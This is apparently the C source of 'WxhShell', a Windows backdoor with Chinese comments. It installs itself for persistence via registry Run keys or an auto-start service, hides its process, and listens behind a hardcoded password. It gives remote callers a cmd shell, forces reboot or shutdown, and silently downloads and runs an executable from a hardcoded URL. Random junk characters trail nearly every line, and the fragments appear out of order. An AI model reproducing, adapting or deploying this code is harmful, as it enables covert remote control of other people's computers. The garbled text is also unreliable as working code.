    closesocket(wsh); D1Sl+NOV  
    ExitThread(0); 'j3'n0o  
    } P~qVr#eU  
    break; &"kx (B  
    } 0 j.Sb2  
  // 关机 JZXc1R| 9  
  case 'd': { Ksp;bfe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); " }ZD)7K  
    if(Boot(SHUTDOWN)) !>:tF,fcB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =5|5j!i=q  
    else { j>b OnCp~  
    closesocket(wsh); r#Fu<so,  
    ExitThread(0); aBI]' D;  
    } >Qx#2x+  
    break; 2>!ykUw^O  
    } m5p~>]}fYF  
  // 获取shell OX`n`+^D  
  case 's': { YQ)m?=+J  
    CmdShell(wsh); i@J,u  
    closesocket(wsh); \O:xw-eG   
    ExitThread(0); \S<5b&G  
    break; W^N"y &  
  } +i>q;=~  
  // 退出 @ubz?5  
  case 'x': { \fz j fZ1n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5VTbW   
    CloseIt(wsh); []]3"n  
    break; @ tIB'|O  
    } `@e H4}L*  
  // 离开 'AAY!{>  
  case 'q': { f5a](&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xp~]kRm9  
    closesocket(wsh); ;gMh]$|"  
    WSACleanup(); "P{&UwMmh  
    exit(1); u .2sB6}  
    break; W$JA4O>b  
        } 'MUrszOO.e  
  } qc6IH9i`  
  } %yMzgk[u  
`-H:j:U{  
  // 提示信息 YzZF^q^I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `aUp&8{  
} ZYsFd_  
  }  +o  
vOK;l0%  
  return; X u_<4  
} x]ti3?w  
6b/b} vl  
// shell模块句柄 ':V_V. :  
int CmdShell(SOCKET sock) wF uh6!J  
{ `+.I  
STARTUPINFO si; K8J2eV\  
ZeroMemory(&si,sizeof(si)); ~&}O|B()  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2f!oA~|2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YP<]f>SBt  
PROCESS_INFORMATION ProcessInfo; ~qS/90,  
char cmdline[]="cmd"; ^PQV3\N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _")h %)f  
  return 0; |&Pl4P  
} OD]J@m  
"AouiZkh  
// 自身启动模式 $)3PF  
int StartFromService(void) 5 DB>zou   
{ WO-WoPO  
typedef struct ^eW.hNg  
{ ?X'* p<`  
  DWORD ExitStatus; ?i~/gjp  
  DWORD PebBaseAddress; }BJ1#<  
  DWORD AffinityMask; 5Mr;6 ]I<  
  DWORD BasePriority; :6?&FzD`  
  ULONG UniqueProcessId; 3- bcY4  
  ULONG InheritedFromUniqueProcessId;  W6O.E  
}   PROCESS_BASIC_INFORMATION; ikhX5 &e  
5S]P#8  
PROCNTQSIP NtQueryInformationProcess; > bF!Y]H  
h!K2F~i{P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f hG2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WdqK/s<jM  
uAs*{:4n  
  HANDLE             hProcess; {,FeNf46  
  PROCESS_BASIC_INFORMATION pbi; xD# I&.  
 -C  ON  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]zU<=b@  
  if(NULL == hInst ) return 0;  #>jH[Q  
,R}KcZG)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); / JeqoM"x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }pnFJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -0SuREn  
bM^A9BxD  
  if (!NtQueryInformationProcess) return 0; !otq X-  
e K1m(E.=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &NjZD4m`=  
  if(!hProcess) return 0; 0^.4eX:E_  
%C6zXiO"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "!Oh#Vf  
wT~;tOw~  
  CloseHandle(hProcess); (l8r>V  
V 1nZ M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SE9u2Jk  
if(hProcess==NULL) return 0; jjwMvf.R  
11<@++,i  
HMODULE hMod; 5rA!VES T  
char procName[255]; uU(G_E ?  
unsigned long cbNeeded; q\t>D _lU  
l[ ": tG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VgsCwJ9w  
5'c+313 lm  
  CloseHandle(hProcess); \v3> Eo[  
B%rr}Ro1e  
if(strstr(procName,"services")) return 1; // 以服务启动 8pL>wL &C  
Na 9l#  
  return 0; // 注册表启动 '"]>`=R  
} ok%a|Zz+]  
2@m(XT (  
// 主模块 B,vHn2W  
int StartWxhshell(LPSTR lpCmdLine) oj(A`[  
{ <x0uO  
  SOCKET wsl; JIbzh?$aD  
BOOL val=TRUE; N<Z)b!o%u  
  int port=0; l`FR.)2h  
  struct sockaddr_in door; C*y6~AYN#  
*VC4s`<  
  if(wscfg.ws_autoins) Install(); ;TV'PJ  
G9'YgW+$7  
port=atoi(lpCmdLine); &pMlt7  
t`8e#n 9  
if(port<=0) port=wscfg.ws_port; *Nf4bH%MN  
!w#ru?L{  
  WSADATA data; x#F1@r8R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V>>) 7E:Q  
0 bPJEEd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qSC~^N`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !skb=B#  
  door.sin_family = AF_INET; cGpN4|*rQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cEdz;kbUM  
  door.sin_port = htons(port); n$m]58w  
r>Qyc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >d27[%  
closesocket(wsl); VO @ 4A6  
return 1; C:s^s  
} W p7@  
:@QK}qFP  
  if(listen(wsl,2) == INVALID_SOCKET) { anz9lGG#  
closesocket(wsl); M\y~0uZ  
return 1; *fQ ?A|l!x  
} 2{sD*8&`  
  Wxhshell(wsl); hk7(2j7B  
  WSACleanup(); iJdrY 6qd  
k}I5x1>&  
return 0; `uNvFlP  
yd0=h7s  
} i)@U.-*5m  
X]zCTY=l  
// 以NT服务方式启动 {m_A1D/_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >Bh)7>`3c  
{ r}_Lb.1]  
DWORD   status = 0; aeuf, #  
  DWORD   specificError = 0xfffffff; %?]{U($?  
To#E@Nw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Giy3eva2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a%MzNH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e9z$+h  
  serviceStatus.dwWin32ExitCode     = 0; ]ZR{D7.?  
  serviceStatus.dwServiceSpecificExitCode = 0; u_}`y1Xu#  
  serviceStatus.dwCheckPoint       = 0; 5eiZs  
  serviceStatus.dwWaitHint       = 0; F.~n  
097Fvt=#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n=<NFkeX  
  if (hServiceStatusHandle==0) return; 5 4ak<&?  
>G-8FL  
status = GetLastError(); A6?qIy  
  if (status!=NO_ERROR) R/ ALR  
{ ^f^-.X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P[Y{LKAbb  
    serviceStatus.dwCheckPoint       = 0; X[GIOPDx  
    serviceStatus.dwWaitHint       = 0; L\/u}]dPQ  
    serviceStatus.dwWin32ExitCode     = status; )CC?vV  
    serviceStatus.dwServiceSpecificExitCode = specificError; 936Ff*%(l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ffmG~$Yh_  
    return; XPHQAo[(s  
  } ]k[ Q]:q  
egZyng pB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7.wR"1p#  
  serviceStatus.dwCheckPoint       = 0; b34zhZ  
  serviceStatus.dwWaitHint       = 0; }Kv h`@CiJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c8^+^.=pX  
} y;,=a jrF  
)LkM,T  
// 处理NT服务事件,比如:启动、停止 l?3vNa FeR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %/{IssCR7  
{ 52>[d3I3  
switch(fdwControl) <MPeh&_3#  
{ aqcFY8b '  
case SERVICE_CONTROL_STOP: o\_ Td  
  serviceStatus.dwWin32ExitCode = 0; @MNl*~'$.[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R^jlEt\&P  
  serviceStatus.dwCheckPoint   = 0; 4^ c!_K&&  
  serviceStatus.dwWaitHint     = 0; kmZ.U>#  
  { l\K%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n?y'c^  
  } BhqhyX\D&y  
  return; ?cqicN.+6  
case SERVICE_CONTROL_PAUSE: !a' K &  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8# 6\+R  
  break; Kg4QT/0VA  
case SERVICE_CONTROL_CONTINUE: Q{H17]W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?RZq =5Um&  
  break; [yO=S0 e  
case SERVICE_CONTROL_INTERROGATE: _aVJ$N.  
  break; ]b}B~jD  
}; IO}+[%ptc*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^$e0t;W=  
} qIB>6bv#x  
v2IEJ  
// 标准应用程序主函数 \eEds:Hg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V]r hr  
{ 6_W<hevI  
ksTzXG8  
// 获取操作系统版本 `Ac:f5a  
OsIsNt=GetOsVer(); 7 rH'1U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @/9>=#4c  
6hp{,8|D"m  
  // 从命令行安装 DP|TIt,Rl  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y [4vRzc  
PoJmW^:}  
  // 下载执行文件 NPS .6qY  
if(wscfg.ws_downexe) { ^SEc./$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :lNg:r$4  
  WinExec(wscfg.ws_filenam,SW_HIDE); I"B8_  
} +-U@0&Y3M  
>J.Qm0TY(  
if(!OsIsNt) { M|ms$1x  
// 如果时win9x,隐藏进程并且设置为注册表启动 nHnk#SAA u  
HideProc(); 4 ^4d9?c  
StartWxhshell(lpCmdLine); oE$hqd s  
} 5bXHz5i  
else j]>=1Rd0b(  
  if(StartFromService()) %?Rs*-F.~1  
  // 以服务方式启动 "t=UX -3  
  StartServiceCtrlDispatcher(DispatchTable); +)zDA:2Wa"  
else :"VujvFX  
  // 普通方式启动 !z?0 :Jg  
  StartWxhshell(lpCmdLine); FW_G\W.  
F%Kp9I*  
return 0; R'L?Xn}3  
} 8qN"3 Et  
0D<TF>M;pn  
GYd]5`ri  
eI0F!Yon  
=========================================== pL! a  
jM]d'E?ZLA  
2yvVeo&3  
Gbn4 *<N  
,7<DGI_y  
jP+ pA e  
" 7u::5W-q  
{M [~E|@D  
#include <stdio.h> BB63x Ex  
#include <string.h> Xk?R mU6  
#include <windows.h> 0Qp[\ia  
#include <winsock2.h> gJh}CrU-  
#include <winsvc.h> i|S: s  
#include <urlmon.h> z{|LQt6q  
0yz~W(tsm  
#pragma comment (lib, "Ws2_32.lib")  &+G; R  
#pragma comment (lib, "urlmon.lib") 'y.JcS!|  
W^k,Pmopy  
#define MAX_USER   100 // 最大客户端连接数 lufeieW  
#define BUF_SOCK   200 // sock buffer :Jk33 N4y0  
#define KEY_BUFF   255 // 输入 buffer 4%J|DcY2  
#]y5z i  
#define REBOOT     0   // 重启 ZE rdt:w  
#define SHUTDOWN   1   // 关机 2d8=h6  
#uKWuGz]  
#define DEF_PORT   5000 // 监听端口 NI.`mc6X d  
Xu6K%]i^  
#define REG_LEN     16   // 注册表键长度 P6YQK+  
#define SVC_LEN     80   // NT服务名长度 krjN7&  
Xk,>l6 vc  
// 从dll定义API ('4wXD]C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :6D0j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^C7C$TZS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ezn` _x_?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h/K@IA d  
Xa,\EEmQ  
// wxhshell配置信息 [;^,CD|P  
struct WSCFG { % O%xpSYr  
  int ws_port;         // 监听端口 7"cv|6y|  
  char ws_passstr[REG_LEN]; // 口令 e:E# b~{  
  int ws_autoins;       // 安装标记, 1=yes 0=no LuS+_|]x  
  char ws_regname[REG_LEN]; // 注册表键名 !Lkm? (_  
  char ws_svcname[REG_LEN]; // 服务名 0 iR R{a<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X#ZgS!Mn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 74f9|~%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `!i-#~n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y(r@v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h1f8ktF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z"UPyW1?  
w z=z?AZW  
}; p3yU:q#A  
^npJUa  
// default Wxhshell configuration JJnYOau  
struct WSCFG wscfg={DEF_PORT, _kN*e:t  
    "xuhuanlingzhe", mQr0sI,o]  
    1, x8"#!Pw:`"  
    "Wxhshell", <kbyZXV@K  
    "Wxhshell", t&}6;z 3  
            "WxhShell Service", 62\&RRB i  
    "Wrsky Windows CmdShell Service", r}W2Ak\  
    "Please Input Your Password: ", 5<+KR.W  
  1, ^E,1V5  
  "http://www.wrsky.com/wxhshell.exe", F,T~\gO5,  
  "Wxhshell.exe" Ik~1:D]f  
    }; "HlgRp]u  
f/y`  
// 消息定义模块 98=la,^$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a$JLc a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1%`7.;!i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9 26Tl  
char *msg_ws_ext="\n\rExit."; s 3r=mp{  
char *msg_ws_end="\n\rQuit."; L*]0"E  
char *msg_ws_boot="\n\rReboot..."; Bs!4H2@{(]  
char *msg_ws_poff="\n\rShutdown..."; `ifiL   
char *msg_ws_down="\n\rSave to "; '\~^TFi  
(OmH~lSO.  
char *msg_ws_err="\n\rErr!"; {{!Y]\2S  
char *msg_ws_ok="\n\rOK!"; MGt]'}  
`xz&Scil  
char ExeFile[MAX_PATH]; ^p=L\SJ  
int nUser = 0; @i%YNI5*  
HANDLE handles[MAX_USER]; 7r 0,> 3"  
int OsIsNt; BfmsMW  
=Ho"N`Qy  
SERVICE_STATUS       serviceStatus; '&yeQ   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +j[oEI`e  
]%dnKP~  
// 函数声明 0 f/.>1M=  
int Install(void); * fc-gAj  
int Uninstall(void); x\@*6 0o  
int DownloadFile(char *sURL, SOCKET wsh); +R.N%_  
int Boot(int flag); ra6o>lI(,  
void HideProc(void); aT!;{+  
int GetOsVer(void); E4[}lX}  
int Wxhshell(SOCKET wsl); xWX*tJ4  
void TalkWithClient(void *cs); [aqu }Su  
int CmdShell(SOCKET sock); pa<qZZ  
int StartFromService(void); Q^_/By@  
int StartWxhshell(LPSTR lpCmdLine); .tXtcf/  
(pR.Abq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TMVryb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D'[Uc6  
SpSnoVI  
// 数据结构和表定义 =zg:aTMti  
SERVICE_TABLE_ENTRY DispatchTable[] = s8gU7pT49  
{ T-" I9kM  
{wscfg.ws_svcname, NTServiceMain}, qE7R4>5xjO  
{NULL, NULL} *r,b=8|  
}; &h~aChJ  
[=TCEU{"~  
// 自我安装 k|E]YvnfG  
int Install(void) `,>wC+}  
{ yy2I2Bv  
  char svExeFile[MAX_PATH]; ;N=G=X|}  
  HKEY key; ?.bnIwQe  
  strcpy(svExeFile,ExeFile); wz /GB8P  
!u;>Wyd W  
// 如果是win9x系统,修改注册表设为自启动 H AB#pd9  
if(!OsIsNt) { `NNf&y)y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b"j|Bb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,^s  
  RegCloseKey(key); mDMt5(.   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QLq@u[A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xi'>mIT  
  RegCloseKey(key); 3:CO{=`\7B  
  return 0; 5\4g>5PD  
    } ~oD8Rnf  
  } m:CTPzAt  
} DPDe>3Mi[  
else { ]]iPEm"@  
3sm M,fi  
// 如果是NT以上系统,安装为系统服务 g@v s*xE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _D!g4"  
if (schSCManager!=0) )mcEQ-!b  
{ iU2KEqCm  
  SC_HANDLE schService = CreateService i^"+5Eq[D  
  ( peVq+(=.  
  schSCManager, ^CT&0  
  wscfg.ws_svcname, =_TaA(79  
  wscfg.ws_svcdisp, 2z0n<`  
  SERVICE_ALL_ACCESS, P&A|PY,P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , df*w>xS  
  SERVICE_AUTO_START, l:(Rb-Wy  
  SERVICE_ERROR_NORMAL, /X8 <C=}  
  svExeFile, 8\ha@&p  
  NULL, {U!uVQC'  
  NULL, yubSj*  
  NULL, 90N`CXas  
  NULL, [w \?j,  
  NULL gPC@Yy  
  ); 5_o$<\I\  
  if (schService!=0) p='-\M74K  
  { L;t)c  
  CloseServiceHandle(schService); Vy)hDa[&  
  CloseServiceHandle(schSCManager); c9Es%@]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^U7OMl4Usq  
  strcat(svExeFile,wscfg.ws_svcname); E_ucab-Fi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { adEJk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v Y|!  
  RegCloseKey(key); <g2_6C\j  
  return 0; T6 #"8qz<  
    } q!,zq  
  } LxN*)[Wb  
  CloseServiceHandle(schSCManager); UH`hOJ?  
} V,7%1TZ:  
} 3ha|0[r9  
,K9f_bv  
return 1; ni CE\B~  
} /FY2vDfU6  
,5k-.Md>2*  
// 自我卸载 Yn51U6_S  
int Uninstall(void) ekSY~z=/u  
{ < a rZbM  
  HKEY key; 8Z#j7)G  
Zy"=y+e!E;  
if(!OsIsNt) { USML~]G z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S9sR#  
  RegDeleteValue(key,wscfg.ws_regname); ;-mdi/*g  
  RegCloseKey(key); 7hNb/O004  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h5%|meZQb  
  RegDeleteValue(key,wscfg.ws_regname); ak:v3cQR  
  RegCloseKey(key); p QE)p  
  return 0; v@ C,RP9  
  } i^Ut015q%  
} ,8Iv9M}2  
} .q`{Dgc~  
else { V-O(U*]  
=Ov7C[(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8pZ< 9t'  
if (schSCManager!=0) IfdI|ya  
{ `d]Z)*9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %B2XznZ:  
  if (schService!=0) cL7g}$W $  
  { 9>*c_  
  if(DeleteService(schService)!=0) { 0OZMlt%z  
  CloseServiceHandle(schService); Xh3;   
  CloseServiceHandle(schSCManager); F}?<v8#z0  
  return 0; 3 pWM~(#>-  
  } 0NE{8O0;Fr  
  CloseServiceHandle(schService); ks(SjEF  
  } %n?vJ#aX%  
  CloseServiceHandle(schSCManager); 8^ep/b&|  
} EYzg%\HH  
} Ggm` ~fS  
iDb;_?  
return 1; #B}?Zg  
} ;<Qdy` T  
qk{'!Ii  
// 从指定url下载文件 )$M,Ul  
int DownloadFile(char *sURL, SOCKET wsh) ! >.vh]8g  
{ /MTf0^9  
  HRESULT hr; #*$p-I=  
char seps[]= "/"; !XE aF]8  
char *token; _GaJXWMbk  
char *file; ~5aE2w0K   
char myURL[MAX_PATH]; 5N/Lk>p1u  
char myFILE[MAX_PATH]; 4cgIEw[6  
S'i;xL>  
strcpy(myURL,sURL); Y*YFB|f?  
  token=strtok(myURL,seps); 7'j9rmTXs  
  while(token!=NULL) ;93KG4a  
  { #x)}29%e#  
    file=token; Bymny>.M  
  token=strtok(NULL,seps); uQp_':\k  
  } ]Z@k|Nw  
MPG+B/P&  
GetCurrentDirectory(MAX_PATH,myFILE); )@$ &FFIu  
strcat(myFILE, "\\"); 1.dX)^\  
strcat(myFILE, file); 'FxYMSZS$  
  send(wsh,myFILE,strlen(myFILE),0); S w "|iBZ@  
send(wsh,"...",3,0); sD2Qm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3N3*`?5c<  
  if(hr==S_OK) hg&u0AQ2  
return 0; ?o>6S EGW  
else p XNtN5@FQ  
return 1; B[7A  
ck~ '`<7  
} S5/p=H:  
4w9F+*-  
// 系统电源模块 j]Ua\|t  
int Boot(int flag) 0STk)> 3$-  
{ N.vG]%1"  
  HANDLE hToken; .S(^roM;+  
  TOKEN_PRIVILEGES tkp; -s33m]a;  
ZR2\ dH*  
  if(OsIsNt) { 7_7xL(F/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9Q=>MOB-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <L%HG  
    tkp.PrivilegeCount = 1; ^@Y9!G=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \`&xprqAw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )2toL5Q  
if(flag==REBOOT) { Pgx+\;w"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~Ji>[#W K  
  return 0; sB8p( L  
} +Bn?-{h=  
else { o KlF5I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QdirE4W  
  return 0; ~{9x6<g!  
} $Q#?`j  
  } &!4( 0u  
  else { 4fD`M(wv  
if(flag==REBOOT) { (+@faP   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PXR0Yn  
  return 0; HoMQt3C  
} g8Ok ^  
else { 5#P: "U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +6uOg,;  
  return 0; F6~b#Jz&i  
} XpOCQyFnM  
} YdPlN];[  
gca|?tt  
return 1; TjT](?'o  
} rknzo]N,  
$B*qNYpPy.  
// win9x进程隐藏模块 ;U8dm"  
void HideProc(void) l DgzM3  
{ w"yK\OE  
W5TqC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _Wq7U1v`  
  if ( hKernel != NULL ) fQ^h{n  
  { u|(aS^H=q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LPsh?Ca?N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M_yZR^;^-  
    FreeLibrary(hKernel); o@Dk%LxP  
  } FLw[Mg:L  
$cyLI+uz|  
return; o-~-F+mj#  
} bBd*}"v^"  
?SBh^/zf  
// 获取操作系统版本 =#7s+d-  
int GetOsVer(void) ;]|m((15G  
{ 77)OW $G  
  OSVERSIONINFO winfo; x*3@,GmZl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \xy:6gd:  
  GetVersionEx(&winfo); }Ox2olUX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,q{lYX83S  
  return 1; T[`QO`\5O  
  else KB$ vQ@N  
  return 0; [R roHXdk+  
} 8f5%xY$  
#u!y`lek  
// 客户端句柄模块 @`#OC#  
int Wxhshell(SOCKET wsl) G:H(IA7Z  
{ (\5<GCW-  
  SOCKET wsh; '5&B~ 1&  
  struct sockaddr_in client; k i~Raa/e  
  DWORD myID; Yqq$kln  
1 8l~4"|fk  
  while(nUser<MAX_USER) `K1PGibV  
{ P#M<CG9  
  int nSize=sizeof(client); B' <O)"1w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #$9U=^Z[  
  if(wsh==INVALID_SOCKET) return 1; b@UF PE5jy  
+9& ulr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6'3Ey'drH  
if(handles[nUser]==0) f?oI'5R41  
  closesocket(wsh); J-HabHv  
else ~cWLu5  
  nUser++; 5k!(#@a_T  
  } -M(58/y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _A# x&<c  
"'LOaf$X  
  return 0; C 6:pY-  
} hU=f?jo/  
IWSEssP  
// 关闭 socket +#2@G}j  
void CloseIt(SOCKET wsh) Fp* &os  
{ [NR0] #h  
closesocket(wsh); mAtG&my)  
nUser--; (rCPr,@0  
ExitThread(0); e3bAT.P  
} [K^q: 3R  
./z"P]$  
// 客户端请求句柄 {;wK,dU  
void TalkWithClient(void *cs) 'SXpb?CZ  
{ c'VtRE# z~  
)@};lmPR  
  SOCKET wsh=(SOCKET)cs; ?7uStqa  
  char pwd[SVC_LEN]; WHh2fN'A5  
  char cmd[KEY_BUFF]; ^Ypb"Wx8  
char chr[1]; knj,[7uh  
int i,j; kgib$t_7  
o Q!g!xz  
  while (nUser < MAX_USER) { Qc)RrqYNGF  
s`7 _J9  
if(wscfg.ws_passstr) { ocuNrkZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %d~9at6-B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CuGOjQ-k~  
  //ZeroMemory(pwd,KEY_BUFF); EKI+Dq,  
      i=0; HhT8YH  
  while(i<SVC_LEN) { Toa#>Z*+Rb  
% /wP2O<  
  // 设置超时 T[2f6[#[_  
  fd_set FdRead; lQ(BEv"2G[  
  struct timeval TimeOut; ~dX@5+Gd  
  FD_ZERO(&FdRead); Z!BQtICs  
  FD_SET(wsh,&FdRead); sfBjA  
  TimeOut.tv_sec=8; r z>zdj5}  
  TimeOut.tv_usec=0; MsVI <+JZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]idD&5gd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g{f>j d  
J7aK3 he  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `E1_S  
  pwd=chr[0]; y{},{~FA"  
  if(chr[0]==0xd || chr[0]==0xa) { u\& [@v  
  pwd=0; 3[g++B."pC  
  break; 2$/gg"g+  
  } %l$&_xV-  
  i++; \(v_",  
    } Gxt<kz  
b "3T(#2<*  
  // 如果是非法用户,关闭 socket 7XI4=O};&%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C%7,#}[U/  
} lDM~Z3(/b  
#K~j9DuR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *,=+R$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3'NL1du  
f0`rJ?us  
while(1) { b.u8w2(  
g(F*Y> hk  
  ZeroMemory(cmd,KEY_BUFF); +53zI|I  
jQBdS. }'v  
      // 自动支持客户端 telnet标准   4I[FE;^  
  j=0; >^)5N<t?  
  while(j<KEY_BUFF) { jtOsb91c}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Q5P7}%p  
  cmd[j]=chr[0]; w*R-E4S?2  
  if(chr[0]==0xa || chr[0]==0xd) { "+ JwS  
  cmd[j]=0; *"bp}3$^^  
  break; ^XB8A=xi  
  } 3B|-xq;]I  
  j++; D{d$L9.  
    } FwzA_ nn  
U[ungvU1U  
  // 下载文件 Yt<PKs#E  
  if(strstr(cmd,"http://")) { "jJ)hk5e  
